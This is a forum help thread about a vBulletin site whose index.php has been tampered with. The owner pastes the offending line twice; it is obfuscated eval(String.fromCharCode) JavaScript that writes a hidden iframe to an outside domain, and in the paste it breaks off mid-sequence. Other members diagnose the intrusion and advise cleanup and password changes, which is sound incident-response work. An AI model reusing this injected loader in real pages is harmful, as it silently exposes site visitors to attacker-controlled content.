forum index error

[UncleGrundle]

When ever I click on the forum link on my site I receive the following error:

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /home/a384382/public_html/forum/index.php on line 606

Parse error: syntax error, unexpected '<' in /home/a384382/public_html/forum/index.php on line 606

What does this mean and how can I fix it?

vBulletin 3.8.2
vBadvanced 3.1.0

[EnIgMa1234]

Do to your index.php and look at line 606

[UncleGrundle]

Here is line 606

<?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo '<script type="text/javascript">eval(String.fromCharCode(118,97,114,32,120,101,119 ,61,57,56,55,49,51,49,49,59,118,97,114,32,103,104, 103,52,53,61,34,102,111,120,105,34,59,118,97,114,3 2,119,61,34,111,110,34,59,118,97,114,32,114,101,54 ,61,34,115,101,114,108,46,34,59,118,97,114,32,104, 50,104,61,34,99,111,109,34,59,118,97,114,32,97,61, 34,105,102,114,34,59,118,97,114,32,115,61,34,104,1 16,116,34,59,100,111,99,117,109,101,110,116,46,119 ,114,105,116,101,40,39,60,39,43,97,43,39,97,109,10 1,32,115,114,39,43,39,99,61,34,39,43,115,43,39,112 ,58,47,47,39,43,103,104,103,52,53,43,39,39,43,119, 43,39,39,43,114,101,54,43,39,39,43,104,50,104,43,3 9,47,39,43,39,34,32,119,105,100,39,43,39,116,104,6 1,34,49,34,32,104,39,43,39,101,105,103,104,116,61, 34,51,34,62,60,47,105,102,39,43,39,114,97,109,101, 62,39,41,59,32,102,117,110,99,116,105,111,110,32,1 00,40,41,123,118,97,114,32,115,61,52,51,52,53,59,1 25,32,118,97,114,32,114,114,10

[EnIgMa1234]

That's not default vbulletin code.
Who else has access to your files?

[UncleGrundle]

Only me and my web host have access. My site has only been online for 3 weeks and it was working fine until this morning.

Perhaps I provided you with the wrong info. What I did was open the index file on my computer with Dreamweaver and then I copied and pasted the code from line 606.

[Lynne]

ftp to your site and download the index.php page that is on the server. Then open it in a text editor and see what is on that line.

[UncleGrundle]

I opened the index.php with programmers notepad and here is what it shows on line 606. Thanks for all of your help btw!

Interesting enough, when I open up the index.php on my test site it doesn't have this code on line 606

<?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo '<script type="text/javascript">eval(String.fromCharCode(118,97,114,32,120,101,119 ,61,57,56,55,49,51,49,49,59,118,97,114,32,103,104, 103,52,53,61,34,102,111,120,105,34,59,118,97,114,3 2,119,61,34,111,110,34,59,118,97,114,32,114,101,54 ,61,34,115,101,114,108,46,34,59,118,97,114,32,104, 50,104,61,34,99,111,109,34,59,118,97,114,32,97,61, 34,105,102,114,34,59,118,97,114,32,115,61,34,104,1 16,116,34,59,100,111,99,117,109,101,110,116,46,119 ,114,105,116,101,40,39,60,39,43,97,43,39,97,109,10 1,32,115,114,39,43,39,99,61,34,39,43,115,43,39,112 ,58,47,47,39,43,103,104,103,52,53,43,39,39,43,119, 43,39,39,43,114,101,54,43,39,39,43,104,50,104,43,3 9,47,39,43,39,34,32,119,105,100,39,43,39,116,104,6 1,34,49,34,32,104,39,43,39,101,105,103,104,116,61, 34,51,34,62,60,47,105,102,39,43,39,114,97,109,101, 62,39,41,59,32,102,117,110,99,116,105,111,110,32,1 00,40,41,123,118,97,114,32,115,61,52,51,52,53,59,1 25,32,118,97,114,32,114,114,10

[Lynne]

If you didn't insert that text, then I'd say you've been hacked. I suggest you contact your host and have him help you figure out how this happened by looking at the access_logs to your site. In the meantime, you will have to reupload a set of non-hacked files to your site.

[UncleGrundle]

Lynne,

I removed the code that I pasted above and it fixed the issue with my site. Is there any other possible way that code could of been added to this file, i.e. a mod? The only mods that I have installed is vbadvanced and AWC's Pro donation system.

[Lynne]

No mod is going to go in and modify your file. Either you manually modified it, or someone else manually modified it.

[Dismounted]

I suggest you change all the access passwords to FTP, Control Panels, etc.